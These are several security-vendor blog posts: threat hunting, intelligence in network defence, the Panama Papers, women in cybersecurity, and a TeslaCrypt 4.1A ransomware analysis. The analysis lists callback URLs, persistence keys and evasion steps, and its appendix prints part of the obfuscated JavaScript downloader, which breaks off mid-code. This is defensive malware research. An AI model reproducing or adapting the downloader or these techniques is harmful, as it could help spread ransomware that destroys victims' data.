With the SANS Threat Hunting Summit just days away, and adversary hunting gaining visibility across the industry, hunt is one of those terms that is frequently mentioned but not well-understood. What does hunting mean? What does it take to be a hunter — defeating the most sophisticated adversaries — in a rapidly evolving threatscape?

We’ve outlined three requirements for adversary hunting below. But first, why should organizations hunt?

Why Hunt?

Today, organizations take greater than 146 days to discover breaches, with the majority of these detections discovered not by the company itself, but by external organizations. Adversaries are more sophisticated in their attacks, and the traditional security stack, dependent on short-lived indicators of compromise, is not enough to tackle these modern threats. The complexity of data has also led to alert fatigue and a data deluge (including too many false positives) that overwhelms security teams with limited time and resources. To address these challenges, targeted adversary hunting enables organizations to proactively detect and stop attackers without known indicators of compromise, before damage and loss of information occurs.

Top 3 Threat Hunting Requirements

1. Evade the Adversary

Today’s adversaries look for known defensive tools, tampering and disabling them to gain access to critical systems. They are able to persist and move throughout networks freely until they find what they are looking for. To defend against them, organizations similarly must create adversary blind spots and evade detection to gain full visibility of both their networks and the adversary. By replicating adversaries’ techniques, organizations gain much greater insight into adversarial tactics, informing both the detection and prevention.

2. Cover all Stages of the Kill Chain

Given the sophistication of adversaries, no single detection methodology is fail-proof for hunting. However, adversary hunting remains too manual, with clunky interfaces and more data than anyone could reasonably handle. Key capabilities are often distributed across multiple interfaces, preventing synchronization and data integration, and leaving gaps in kill chain coverage. Given the scale of the data and the sophistication of the threats, multiple methods are required within a single interface to empower the hunt mission across all stages of the kill chain. This includes automating large-scale malware classification, as well as preventing whole classes of exploits and techniques (such as lateral movement) instead of a reactive whack-a-mole approach, coupled with an intuitive interface to expedite and facilitate data exploration and prioritization.

3. Evict without Business Disruption

Organizations must keep operations running smoothly, and don’t have time for detection and prevention approaches that slow down, or even worse, disrupt, their business operations. Simultaneously, adversary hunters must have the ability to respond and protect networks — observing, containing, or evicting an adversary from the network. A majority of security solutions today either interrupt business processes, or require companies to completely shut down processes, which puts themselves at risk and impacts their bottom line. To ensure continuation of operations while adversary hunting, the hunt team must be able to discretely isolate the malicious activity, surgically removing it, while businesses maintain normal business operations.

These are a few essential requirements for organizations to consider when hunting in their networks. To learn more detail about Endgame’s hunt approach, come meet us at the SANS Threat Hunting Summit next week or see our latest point of view here.

From the moment I stepped into the defensive computer operations (DCO) arena fifteen years ago, I noticed almost immediately an invisible but very real separation between DCO and its supporting intelligence components.  It seemed the majority of network defenders I encountered paid insufficient attention to the intelligence which could be derived or made available through public and private partnerships.  Defenders were largely disinterested in trends or attribution, but rather only wanted to react to “the now”, quickly clean up, and move on.  Was this because at that point in time (circa 2000) the DCO community was mainly worried about worms, viruses and the occasional script-kiddie? Was it because the threats were more one off in nature as opposed to being characterized by the calculated persistent and sophisticated attacks that are pervasive in our community today? Despite these differences and the evolution that has occurred in the cyber domain over the last fifteen years, this invisible divide between defense and intelligence has not entirely disappeared. I was reminded of this after reading an article published by my colleague Andrea Little Limbago in Federal News Radio. Andrea asserts, “A spear phishing campaign by a state-sponsored group aimed at defense contractors to extract blueprints for next-generation technologies has extraordinarily distinct implications from a transnational criminal organization's spear phishing campaign aimed at stealing personal information to sell on the black market." The conflation of the various cyber actors, means, and objectives that Andrea describes epitomizes the importance of big-picture cyber intelligence to complete DCO.

Because I entered the world of DCO with an intelligence-oriented background, I carried into my new domain the same core analytical values that propelled my drive and curiosity throughout my former life.  As I progressed through my DCO career, I always maintained my “Five W’s + H” mindset (who, what, when, where, why and how). But, as a network defender, my primary focus was “the now”. My priorities, as with any network defender, were to keep the bad guys out, keep the critical information in, and keep systems up and running. With so much focus on the immediate threat, it’s easy to miss out on the bigger picture, which provides a wealth of information for more comprehensive detection and prevention. The following four scenarios epitomize this tension between DCO and intelligence, and how a more comprehensive integration of all available data points can inform a multi-layer detection approach and more proactive defense.

Scenario One: Phishing Emails

An area where intelligence can add value to a network defender’s mission involves one of the most common ingress points into a network– email.  Countless times daily, phishing emails are distributed across the globe, attempting to spread their nefarious wares.  Fortunately, filters have become pretty good at thwarting those attacks by preventing the malicious email messages from reaching their intended recipients or dropping the attached payload.  While this is great news for network defenders, these email messages are a potential source of useful intelligence.

Whereas traditional network defense might focus solely on the malware itself, looking also at the recipients may provide intelligence that can improve defenses against future attacks.  If the recipients are all from the same department within an organization, this could indicate the source of the attack (thinking back to Andrea’s point that different types of actors should be more clearly delineated).  An IT department with valuable IP and network diagrams might be more likely to be targeted by a state-sponsored element, whereas a finance and accounting department may be targeted by a criminal organization.  Having this type of data could provide valuable situational awareness and help determine where to expend future defensive resources and measures.

For example, if every PKI Administrator from a nation-wide organization received an email directing them to apply updates by following the link in the body of the email, it would be wise to investigate this further.  Determining whether the emails reached any of the intended targets, whether they were opened, and whether links were clicked is essential.  In parallel, it can be equally important to find out what would take place in the event a user clicked and was exploited.  This could provide network defenders, hunters, or incident responders with leads for identifying potential compromises within their network.  These analytical finding can be incorporated into an overall network defense posture.

Scenario Two: Malware Trends

Some phishing campaigns are more ‘spray and pray’ than ‘targeted’.  In the spray and pray case, the adversary’s intent is to hit a large number of targets and then take advantage of those that stick.  The malware footprint can provide insight into the adversary’s intent, going a long way towards augmenting the overall big cyber intelligence picture.  Malware variants can (and do) change over time, and some of those changes can provide valuable intelligence. In addition to providing big picture insights, this intelligence can also feed into dynamic detection capabilities, such as semi-supervised machine learning, that require both tactical but also big picture malware trends.

As a network defender, I routinely analyze different variants of a particular malware family associated with phishing campaigns, identifying their root cause, and taking the time to do the analysis even in cases where the email was blocked in transit or at the host.  Changes that enable the new malware variant to bypass the current host based mitigations can be identified through this analysis. Our host-based strategies were immediately updated to focus on preventing these malware variants, and we were protected before a piece of that new malware variant ever made it through our email defensive layer.

For example, a remote administration tool (RAT) can be used to control a system through an unauthorized back door.  There's a chance the attacker wouldn’t need to rely on a resolved DNS query in order to return to the victimized host - their backdoor would probably allow for that, especially if it were a very targeted attack (the attacker would most likely be very aware of the compromised host or the attacked entity).  If the RAT’s C2 domain was on a DNS blacklist, and analysis stopped there, the attacker could have free reign to a network.  Finding the root cause of malicious activity always has the possibility of great rewards from a defensive standpoint.

If I had worked only in “the now”, focusing on just thwarting the malware ingress point rather than doing a deeper analysis, intelligence on updates to the malware would have been lost, hindering our ability to preemptively deploy updated defensive strategies.  Therefore, while delivery mitigations are critically important, focusing only on the delivery side can cause organizations to miss out on portions of the bigger picture that could lead to better intelligence and better prevention.

Scenario Three: Blacklisted Domain Names

One common practice in DCO is to place known bad domain names on a blacklist.  The blacklist will most likely be populated with the malicious 3^rd level domain (3LD) such as ‘bad.domain.com’, or at times at the 2^nd level domain (2LD) such as ‘domain.com’.  The blacklist will then prevent a system from connecting to that particular domain.  Does this mean the blacklist will thwart an attack?  Not necessarily—it simply means the attack may be incapable of reaching its full impact due to the blacklist.  Therefore, if a system attempts to connect to the known malware reach back domain "bad.domain.com”, there's a reasonably high degree of certainty that malware is on the system.  

To provide a real-world example, imagine ‘bad.domain.com’ is on a blacklist, and the DNS query doesn’t resolve to an IP address.  At this point of malware failure, some organizations will cite it as a successful mitigation.  After all, the malware couldn't connect out.  Some would choose to move on to the next event while never attempting to find the system (or catalyst) for the malicious DNS query. In other words, a single attack may have been kept from reaching fruition, but the responsible malware could very well still be on the system or network.  If not found and remediated, it will likely pick right where it left off as soon as the mitigation strategy is removed or the compromised system is relocated to an unprotected network (as can be the case with laptops).

Merely blocking a known malicious domain is insufficient, since finding the catalyst can lead to a plethora of other malicious findings.  What if twenty or more DNS queries for ‘bad.domain.com’ were blocked or mitigated?  What would this mean?  It could mean that one system was infected, trying to beacon out or phone home.  Conversely, it could indicate that twenty separate systems were infected.  Let’s imagine it was the latter.  It’s possible an attacker infiltrated the network and is moving laterally through the network, installing malicious implants along the way.  I worked a case once where this exact scenario played out.  Taking it one step further though, what if all the affected systems were part of the same group, let’s say the admin group?  That would be scary.

Scenario Four: Hard-coded IP Addresses

One of the first things I get asked when analyzing a piece of malware is “where does it reach back to?”  Most often the requester is thinking in terms of the 3LD acting as the C2 domain.  However, not all malware reaches back to a domain; some reach back to a static IP address, while others reach back to both. The malicious 3LD or 2LD may be blocked, but when a static IP address is involved, a DNS blacklist won’t prevent subsequent network communications to the IP address.  A direct connection to an IP address doesn’t require DNS.  Therefore, it’s possible for a bad actor to bypass a DNS blacklist.  I’ve had a love/hate relationship with more than a few pieces of APT malware with this exact communications profile.  By identifying and analyzing the malware behind the DNS query, other tactics, techniques and procedures (TTPs) used by the malware can be uncovered, and fed back into an organization’s network defense posture.

Conclusion

These are just some examples to demonstrate the importance of incorporating more cyber intelligence and “big picture” thinking into the DCO community and of expanding its current focus on mitigations. To become better at containing and eliminating malware, we need to pay attention not only to the attack, but also, as Andrea suggests, to the critical delineations among various actors, means, objectives, and targets that can be derived from a deeper integration of intelligence and analysis into the DCO domain. Using intelligence to remain vigilant even after an attack is thwarted can improve a network defender’s chances of success. Rather than simply finding the malware and removing it from the system, it should be analyzed for potential future intelligence value, and feed into broader, proactive defenses that provide multiple layers of detection. Analyzing the malware as part of a broader intelligence picture and incorporating those insights into analysis and automated detection has enormous potential to help disrupt and prevent future attacks.

Over five years ago, the Arab Spring demonstrated the power of the digital domain in facilitating political and social change. The role of social media – still relatively nascent globally at that point – dominated the headlines and analyses as the core vehicle for shaping political debates and serving as an organizational mechanism. However, it wasn’t social media itself, but arguably the WikiLeaks revelations that provided the initial trigger. The WikiLeaks release of 1.7 GB of data was among the first manifestations of how a data leak can fuel the fire of social change (for better or worse). Last week’s Panama Papers provided yet another reminder of how the digital domain can foment social and political change. At 260 GB of data, the Panama Papers not only are the world’s largest data leak, but they also reflect the growing intersection of data breaches and social change. Data breaches and leaks have directly and indirectly resulted in the resignation of a world leader (e.g. Iceland Prime Minister Sigmundur Davio Gunnlaugsson), toppled CEOs (e.g., Target), and may potentially contribute to the demise of sports royalty (e.g, Lionel Messi, FIFA President Gianni Infantino). With no clear end in sight to the data revelations, world leaders’ responses are largely differentiated based on regime-type, with the domestic situation driving damage control. With 140 political leaders and over fifty companies referenced in the Panama Papers, this certainly is just the beginning. These initial responses are likely a harbinger of what to expect over the next year as both corporate executives and political leaders prepare their incident response to the leaks.

The Panama Papers are indicative of the growing ease with which vast amounts of digital data can be exfiltrated. In fact, it is plausible that the size of data breaches can be grouped with other social events that follow a power law distribution, such as the magnitude of interstate conflict or terrorist events, as well as the distribution of income or connectivity on the Internet. In each case, the impact of this socio-technical interplay is strongly influenced by the regime type, ranging from authoritarian on one side to solidified democracy on the other, with a wide spectrum in between. The ongoing data breaches and leaks similarly do not exist in a vacuum, which is why we are already witnessing wide scale and differentiated responses to the Panama Papers. For instance, the Chinese government has turned to its go-to and proven approach of Internet censorship to block any reference to the numerous family members of elite officials who are referenced in the Panama Papers. Conversely, Russia’s Vladimir Putin – whose inner circle is implicated in the Panama Papers – predictably calls the revelations nothing more than Western propaganda, and fits into his narrativethat “Russia is in a state of information warfare with the West.”  

Many former Eastern bloc states are also implicated, but there likely will be vast differences in how well they fare in light of the data leaks. Countries with weak opposition and/or embedded propaganda machines, such as Azerbaijan, will navigate the data revelation storm better than countries already in the midst of a corruption scandal, like Kazakhstan. Ukraine fits into this latter category, as the country’s Prime Minister just resigned amid an extant corruption crisis, which includes the President who is under tighter scrutiny thanks to the Panama Papers. Brazil similarly was already in the middle of a political corruption scandal when the Panama Papers implicated a broad spectrum of Brazil’s political elite. Interestingly, Dilma Rousseff may actually benefit from the leaks, as her main opponent faces much harsher allegations stemming from the Panama Papers than does Rousseff herself. United Kingdom’s David Cameron – already dealing with a chaotic climate instigated by a potential exit from the European Union – is now on the offensive to counter allegations of corruption associated with his father within the Panama Papers. He released his tax returns less than a week after the Panama Papers were revealed, and since then other members of the British political elite have likewise released their tax records.

So what does all of this mean? It’s well past time to consider and prepare for the diverse means that the digital domain can now greatly influence anything from nation-state stability to executive leadership of corporations. Social media is certainly one aspect, but with the growing data breaches and leaks, there will be increasingly reputational impact that can have profound repercussions across the globe. In some cases, this could actually lead to greater transparency and calls for reforms. Conversely, this could prove to be a major challenge for capitalism,  especially in democracies that are already experiencing populist movements. Regardless, as long as data growth continues to exceed Moore’s Law, the size of data leaks and breaches is likely to continue to grow, with social, political and economic repercussions across the globe.

When talking with women about the cybersecurity industry, we always ask, “What do you think of when you hear the term hacker?” The response invariably describes a young, shady, socially-challenged guy working on his own in the dark. This is one of the many reasons why we also invariably have women come up to us after the discussion and say, “I had never even considered tech as a career option.”  This is one of the hurdles the industry must overcome in order to pull from a much more diverse talent pool and change the momentum of the regressive statistics on women in cybersecurity (where women account for anywhere from 8-11% of the workforce depending on the source). To reverse this downward momentum, security’s narrative must change – not just because it’s the right thing to do, but also to address security’s hot talent pipeline (in a tight talent market, we must be able to “fish in the whole sea” of potential candidates), and because diversity of all kinds is what drives innovation. 

Changing the narrative, a little bit at a time, was our goal today as we had the great privilege to welcome 65 sophomore girls from New York City’s Brearley School to our Arlington office to talk about the breadth of opportunities available to them in security.

After we provided an overview of our backgrounds, the industry, policy challenges, and building a culture to attract and retain a phenomenal and diverse workforce, it was time for Q&A. The students did not disappoint, asking insightful questions about the balance between security and privacy, how to transition from idea to product, and for tips on how they can protect themselves on-line. Just as importantly, they did not ask about the challenges of women in tech. This is meaningful. When girls start thinking about security both as something that impacts their daily life and as a field filled with opportunities and endless puzzles that require input from a range of disciplines and perspectives to solve, then we know the momentum will shift. Our hope is that we at least planted a few seeds about security as a field where women belong and can make a huge difference, helping change that narrative a little bit at a time.

Introduction

Ransomware quickly gained national headlines in February after the Hollywood Presbyterian Medical Center in Los Angeles paid $17,000 in bitcoins to regain access to its systems.  Since then, other hospitals have similarly been attacked with ransomware, leading some industry experts to proclaim it an industry-specific crisis. Although it is commonly associated with directed campaigns aimed at high-value targets such as hospitals, ransomware is actually becoming less targeted and more omnidirectional. As our latest research on TeslaCrypt demonstrates, ransomware not only is becoming more widespread, but it is also becoming more sophisticated and adaptable. TeslaCrypt 4.1A  is only a week old and contains an even greater variety of stealth and obfuscation techniques than its previous variants, the earliest of which is just over a year old. Organizations and individuals alike must be aware ransomware is equally likely to be found in personal networks as in critical infrastructure networks, and that its rapid transformation and growing sophistication presents significant challenges to the security community and significant threats to users of all kinds.

History and Current Reality of Ransomware

Ransomware has been around for at least a decade, but its evolution and frequency have exploded over the last half year. In its early days, ransomware was relatively unsophisticated, uncommon, and more targeted. However, ransomware now largely involves code reuse, slight modifications to older families, and a variety of spam campaigns. Capabilities that once were the discrete realm of APTs are now accessible to attackers with fewer resources. TeslaCrypt 4.1A is indicative of this larger trend, integrating a variety of obfuscation techniques – such as AV evasion, anti-debugging, and stealth – into a powerful and rapidly changing piece of malware. Moreover, the incentive structure has shifted. Ransomware aimed at high-value targets depends entirely on getting one fish to bite, and so the ransom value is much higher. As the graphic below illustrates, with the proliferation of ransomware via widespread spam campaigns, attackers can demand smaller sums of money, which can still be extremely lucrative because it only requires infiltration of a small percentage of targets.

Campaign Overview

Last week, an Endgame researcher was analyzing spam emails for indications of emergent malicious activity.  The researcher came upon an interesting set of emails, which were soon determined to be part of a widespread spam campaign. The emails all highlighted the successful delivery of a package, which can be tracked by simply clicking on a link. This is especially interesting timing.  At the peak of procrastinators filing their taxes at the last minute, those who send in their tax forms are exactly the technically less-sophisticated users these kinds of campaigns target.  

We rapidly determined that this spam campaign was attempting to broadly deliver TeslaCrypt 4.1A to individuals.  In the subsequent sections, we’ll detail the various stages of the TeslaCrypt 4.1A attack chain, moving from infiltration to detection evasion, anti-analysis and evasion features, entrenchment, and the malicious mission, concluding with some points on the user experience. This integration of various obfuscation and deception techniques is indicative of the larger trend in ransomware toward more sophisticated and multi-faceted capabilities.

1.   During infiltration, the downloader mechanism is attached as a zipped JavaScript file.
2.   This JavaScript file is a downloader that uses the local environment's Windows Script Host (WSH) or wscript to download the payload. When the ZIP file is decompressed and the JavaScript file is executed, the WSH will be invoked to execute the code.
3.   The downloader proceeds to download the TeslaCrypt implant via a HTTP GET request to greetingsyoungqq[.]com/80.exe. This binary will then be launched by the downloader.
4.   To evade debuggers, the binary uses QueryPerformance/GetTickCount evasion technique to check the runtime performance as well as threading.
5.   Next, the binary allocates heap memory to allocate a PE in memory. This PE does the following:
           a. It establishes an inter-process communication channel with the CoInitialize(), CoCreateInstance()                  APIs to communicate through DirectShow in order to establish various strings in memory.
           b. Uses QueryPerformance/GetTickCount debugging evasion technique
           c. Uses Wow64DisableWow64FsRedirection to disable file system redirection for the calling thread.
           d. Deletes Zone.Identifier ADS after successful execution
           e. Checks token membership for System Authority
6.   Next, the PE drops a copy of itself to the %UserProfile%\Documents\[12 random a-z characters].exe, creates a child process, and adds SeDebugPrivilege to the newly spawned process while in a separate thread
7.   Deletes parent binary using  %COMSPEC% /C DEL %S
8.   Creates mutex "__wretw_w4523_345" for more threading activity and runs a shell command to delete volume shadow copies
9.   It entrenches the binary into the registry via a startup run key
10. During the encrypting, it generates the public key based on the encrypted private key.
11. The implant begins encrypting all accessible files on the file system based on the file extensions in the appendix.
12. Finally, it displays the ransom note in three forms: text, image, and web page. The binary will then notify the C2 server of the presence of a new victim.

Delivery and the Downloader

In this instance, TeslaCrypt is delivered using a zipped email attachment containing a JavaScript downloader:

Email Spam Attack

Email contents

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<title>RE:</title>

</head>

<body>

<pre style="font-style: strong">

Your package has been successfully delivered. The proof of delivery (TRK:299736593) is enclosed down below.

</pre>

</body>

</html>

The ZIP attachment will contain one file: transaction_wcVSdU.js. When the ZIP is decompressed and the JavaScript file is executed by the user, the Windows Script Host will launch and execute the JavaScript.  The downloader initiates a HTTP GET request to the following URI in order to download the TeslaCrypt payload (6bfa1c01c3af6206a189b975178965fe):

http://greetingsyoungqq[.]com/80.exe:

As of 4-14-2016, this URI is inactive.

If the request is successful, the binary will be written to disk in the current user's %TEMP% directory and launched by the JavaScript.

The payload (80.exe) was not being flagged by most popular AV products on the day that we detected the malware, likely due to the obfuscation employed.  A few days later, about 40% of AV vendors had updated their signatures to catch 80.exe, and a week later, a significant majority of AV vendors will flag this file as malicious.  However, this wouldn’t help users who were victimized on the first day.

TeslaCrypt 4.1A Implant Variant Details

Version information contained within its metadata helps the implant masquerade itself as an official Windows system DLL:

Upon execution, the implant unpacks itself by allocating and writing a clean PE file to heap memory. The clean PE that is invoked contains the implant’s intended malicious functionality.

Anti-Analysis and Evasion Features

This malware exhibits some interesting anti-analysis and evasion features which speak to its sophistication level.  We will describe some of these below.

String Obfuscation

In order to evade detection and hide many of its string extractions, the binary utilizes an inter-process communications channel (COM objects). By using the CoInitialize and CoCreateInstance Windows APIs, the implant can control DirectShow via Software\Microsoft\DirectShow\PushClock using a covert channel, utilizing the quartz libraries.

Anti-Debugging

TeslaCrypt calls its anti-debugging function many times to thwart automated debugging or API monitoring. By using the QueryPerformance / GetTickCount evasion technique, the process stores the timer count at the beginning of an operation and then records it at the end of the operation. If the malware is being debugged, this time difference will be much more than the normal execution time expected.

Anti-Monitoring

This TeslaCrypt variant contains a routine designed to terminate five standard Windows administrative / process monitoring applications. The binary enumerates all active processes and utilizes GetProcessImageFileName to retrieve the executable filename for each process. A process will be terminated if its filename contains any of the following strings:

taskmgr (Task Manager)

regedi (Registry Editor)

procex (SysInternals Process Explorer)

msconfi (System Configuration)

cmd (Command Shell)

Entrenchment

The implant drops a copy of itself to disk:

%UserProfile%\Documents\[12 random a-z characters].exe

In order to establish persistence, the implant adds a registry value that points to the dropped copy:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\%s\ SYSTEM32\CMD.EXE /C START %USERPROFILE%\Documents\[12 random a-z characters].exe

The malware also sets the EnableLinkedConnections registry key:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections

By setting this key (which was also something done by previous versions of TeslaCrypt), network drives become available to both regular users and administrators.  This will allow the implant to easily access and encrypt files on connected network shares in addition to encrypting files on the local hard drive.  In a connected business environment, this could substantially increase the damage done by the tool.

Malicious Mission

TeslaCrypt relies mostly on scare tactics to corner victims into paying the ransom. In reality, it’s making false claims about its encryption usage and has recovery mechanisms that can help users recover files.

Encryption

Even though the malware's ransom message claims that the encryption used is RSA-4096, this algorithm is not used in any way. Instead, files are encrypted with AES256 CBC. In the encryption function it first generates the various keys which uses standard elliptic curve secp256k1 libraries which is typical for bitcoin related authors. An example of these keys can be seen in memory in the hex view below detailing memory status during master key generation. Once the keys are generated, they are then saved in %USERPROFILE%\Documents\desctop._ini and %USERPROFILE%\Documents\-!recover!-!file!-.txt. If the malware detects that a file named "desctop._ini" already exists at the specified path, it will not start the key pair generation or encrypt any files because it already assumes that the files have already been encrypted.

secp256k1 functions used for master key generation:

Generated Keys

Memory during the Master key generation:

desctop.ini

-!recover!-!file!-.txt

Callback Routine

If the binary successfully encrypts the targeted files on the host, it spins off a thread and initiates a callback routine that attempts HTTP POST requests to six different URIs:

loseweightwithmysite[.]com/sys_info.php

helcel[.]com/sys_init.php

thinktrimbebeautiful[.]com[.]au/sys_init.php

lorangeriedelareine[.]fr/sys_init.php

bluedreambd[.]com/inifile.php

onguso[.]com/inifile.php

The requests are formatted as such:

POST http://loseweightwithmysite[.]com/sys_info.php

UserAgent: Mozilla/5.0 (Windows NT 6.3 rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

*/*

data=550EF3E0F3BC2E175190FA31F0F440EC9FB7F1AA325D2C42645A173A1C19F6F14E291E1C6F3ADB48CFAAABB3EE79E98D43D3F227DB13D3BEFB

955ECAB1500D8C5F76DC27E141CA5EA1855D71C8CEC592702694AD29E2631BBB6AC79734C569F42897765D9E1E3A04DE9784A87

The "data" POST variable is used to transmit data that is used by the threat actor to track their victims. This data includes host configuration information, version information pertaining to the implant, a randomly generated bitcoin address (where the affected user is instructed to direct their ransom payment), and key data needed to initiate a recovery of the encrypted files. This information is placed in a query string format and will be subsequently encrypted and encoded prior to transmission in the POST request:

Sub=[Ping: hardcoded callback mode]&dh=[combination of public and private key data]&addr=[bitcoin address generated at runtime]&size=0&version=[4.1a: hardcoded TeslaCrypt version number]&OS=[OS build number derived from VersionInformation.dwBuildNumber]&ID=[821: appears to be a hardcoded value possibly used to further identify a particular variant]&inst_id=[user ID generated at runtime]

Provided below is a string with sample data:

Sub=Ping&dh=04803B73A04A81984A83DB117D8D2C46678A5C3B828E55D265B0A4413FC248194F26505A967943D9FF05A7B5EC7DBF981BDADEB7702D98EA

BA5D492B6429112FFC1478F386804A9CF31E38821425545563D7BCB9CC2BD46EA4FCAADD4BF473E6BD&addr=18px5E1cPWkEkT67TU14RgZ9g9dWbC3jfr&size=0&version=

4.1a&OS=7601&ID=821&inst_id=D19191ED8D504416

The query string will then be AES encrypted:

An ASCII representation of the binary output of the AES encryption will then be written to memory:

This data will then be attached to the "data" POST variable and transmitted in the request.

If the implant successfully issues a POST request and receives a valid response from the callback server, the thread will terminate. The thread will also terminate if it does not receive a valid response after attempting one request to each of the callback servers.

Aside from the "Ping" mode (designated in the Sub query string variable), the binary also references a separate "Crypted" callback mode, though this mode does not appear to be accessible in this particular variant.

User Experience

The ransom information is displayed using 3 methods:

1) HTML page

2) text file

3) PNG image

These files will also be written to disk in nearly every directory on the file system.  The links for a real victim’s will reference the victim’s unique ID which facilitates payment tracking and decryption should the ransom be paid.

HTML (-!RecOveR!-xdyxv++.Htm)

TXT (-!RecOveR!-xdyxv++.Txt)

PNG (-!RecOveR!-xdyxv++.Png)

Conclusion

TeslaCrypt 4.1A is indicative of the broader trend we’re seeing in ransomware. While the targeted, high-value targets dominate the press, ransomware is increasingly opportunistic as opposed to targeted. These randomized spam campaigns rely on infiltrating a very small percentage of targets, but are still extremely lucrative given their widespread dispersion. In addition, the shortened time-frame between variants also reflects the trends in ransomware over the last 6-12 months. The speed to update between variants is shrinking, while the sophistication is increasing. This makes reverse engineering the malware more onerous, including the use of deception techniques such as misleading researchers that RSA-4096 encryption is used when in reality it was AES-256. In short, not only does the spam campaign attempt to deceive potential targets, but TeslaCrypt 4.1A also aims to mislead and stay ahead of researchers attempting to reverse engineer it. Only four months into 2016, as our timeline demonstrates, this may very well be the year of the ransomware attack. These kinds of opportunistic attacks can be very lucrative and sophisticated, and should increasingly be on the radar of both high-value organizations as well as individuals.

Appendix

Email Header (Email originally forwarded from [redacted].org

Delivered-To: [redacted]@gmail.com

Received: by [redacted] with SMTP id t129csp1570097vkf;

       Mon, 11 Apr 2016 10:49:37 -0700 (PDT)

X-Received: by [redacted] with SMTP id g19mr11538193ote.175.1460396977496;

       Mon, 11 Apr 2016 10:49:37 -0700 (PDT)

Return-Path: <HallimondRandy164@zhongda89.com>

Received: from mail-oi0-f50.google.com (mail-oi0-f50.google.com. )

       by mx.google.com with ESMTPS id 9si7641149ott.222.2016.04.11.10.49.37

       for <[redacted]@gmail.com>

       (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);

       Mon, 11 Apr 2016 10:49:37 -0700 (PDT)

Received-SPF: softfail (google.com: domain of transitioning HallimondRandy164@zhongda89.com does not designate [redacted] as permitted sender) client-ip=[redacted];

Authentication-Results: mx.google.com;

      spf=softfail (google.com: domain of transitioning HallimondRandy164@zhongda89.com does not designate [redacted] as permitted sender) smtp.mailfrom=HallimondRandy164@zhongda89.com

Received: by mail-oi0-f50.google.com with SMTP id y204so196057727oie.3

       for <[redacted]@gmail.com>; Mon, 11 Apr 2016 10:49:37 -0700 (PDT)

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

       d=1e100.net; s=20130820;

       h=x-original-authentication-results:x-gm-message-state:message-id

        :from:to:subject:date:reply-to:mime-version;

       bh=+IHT+KX3SwGYMwaiqhwtBParNXFx58iS7BjXXX3f3hg=;

       b=aF7RbWAEZMTRaddOFbhKFi9ghacPytB5mK2/YwImzNr2GFAvOyVR6yfsOEk8B3XdKZ

        Oc1kESzLaBtRB2PBS5Se66Utxg4a6TBNAWQanuxMthDFUERgQgaA+xae+7uiKLMYrnJC

        rmdIqEuNJ31hq6EaBBHdSwmtBfSfR4q9s4uOZWCuPI+iIzGAW8aUOHxWVDiZDXJCJOA2

        D8AHo5/yUmosn0zFHUo6nThJF5KQKzgPPaYka9avNhFFXUYwXp9RjUKGN+2MDmoOYnWC

        YoYgxZs275cd7cI1hH27ESf60U8aSvjnhh6q5oTTZgfSdekFAhA+MyY7onvGomj4kzAZ

        ju1A==

X-Original-Authentication-Results: gmr-mx.google.com;       spf=softfail (google.com: domain of transitioning HallimondRandy164@zhongda89.com does not designate [redacted] as permitted sender) smtp.mailfrom=HallimondRandy164@zhongda89.com

X-Gm-Message-State: AOPr4FUtA2HQqGRu+GdZuu8wADNknK4b73v+HF33ILQuYoMSQUrg45myopzxVcSix38piF2Nek5YQwvPOL2fGuTPayrRew==

X-Received: by [redacted] with SMTP id 10mr7798207otm.47.1460396976918;

       Mon, 11 Apr 2016 10:49:36 -0700 (PDT)

Return-Path: <HallimondRandy164@zhongda89.com>

Received: from dsl-187-156-10-25-dyn.prod-infinitum.com.mx ()

       by gmr-mx.google.com with ESMTP id y20si1822157pfa.2.2016.04.11.10.49.36

       for <[redacted]@gmail.com>;

       Mon, 11 Apr 2016 10:49:36 -0700 (PDT)

Received-SPF: softfail (google.com: domain of transitioning HallimondRandy164@zhongda89.com does not designate [redacted] as permitted sender) client-ip=[redacted];

Message-ID: <[redacted]@[redacted].org>

From: =?UTF-8?B?UmFuZHkgSGFsbGltb25k?= <HallimondRandy164@zhongda89.com>

To: =?UTF-8?B?a2ZkaG5l?= <[redacted]@[redacted].org>

Subject: =?UTF-8?B?UkU6?=

Date: Mon, 11 Apr 2016 12:49:34 -0500

Reply-To: =?UTF-8?B?a2ZkaG5l?= <[redacted]@[redacted].org>

MIME-Version: 1.0

JavaScript downloader (Nemucod) 0eec3406dfb374a7df4c2bb856db1625 Contents:

var fuXYgBL="WS";

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!"".replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return"\\w+"};c=1};while(c--){if(k[c]){p=p.replace(new RegExp("\\b"+e(c)+"\\b","g"),k[c])}}return p}("0 1=2;",3,3,("var|XqTfkKcqqex|"+fuXYgBL+"cript").split("|"),0,{}))

function zrISJA(jjcxUlc) {

return "hrsaSzYzlaFzEc";

}

function NZwY(FmoOw,RNqcI) {

var FiPpmI=["ohRoOlCB","\x77"+"\x72\x69","\x74\x65"];FmoOw[FiPpmI[1]+FiPpmI[2]](RNqcI)

}

function jEiG(EJmRb) {

var fVxQNBM=["\x6F\x70"+"\x65\x6E"];EJmRb[fVxQNBM[421-421]]();

}

function wYGJ(HhQGZ,cpllk,bDxjN) {

pHah=HhQGZ;

//QVWzPmJWZVSK

pHah.open(bDxjN,cpllk,false);

}

function yrlc(ikMyP) {

if (ikMyP == 1077-877){return true;} else {return false;}

}

function Sgix(UFQtP) {

if (UFQtP > 155282-909){return true;} else {return false;}

}

function tMlUn(cpqParen,kwDT) {

return "";

}

function UAUJ(jNuMk) {

var nLaSHyDA=["\x73\x65"+"\x6E\x64"];

jNuMk[nLaSHyDA[0]]();

}

function uOFx(JEEUB) {

return JEEUB.status;

}

function eBRRZTo(higo,fYcgC) {

ozMRhEh=[];

ozMRhEh.push(higo.ExpandEnvironmentStrings(fYcgC));

return ozMRhEh[0];

}

function iIeFEEW(eArZ) {

var buDOHaq=("\x72\x65\x73\x70\x6F\x6E*\x73\x65\x42\x6F\x64\x79").split("*");

return eArZ[buDOHaq[0]+buDOHaq[1]];

}

function Ybru(IUgdY,FzFmU) {

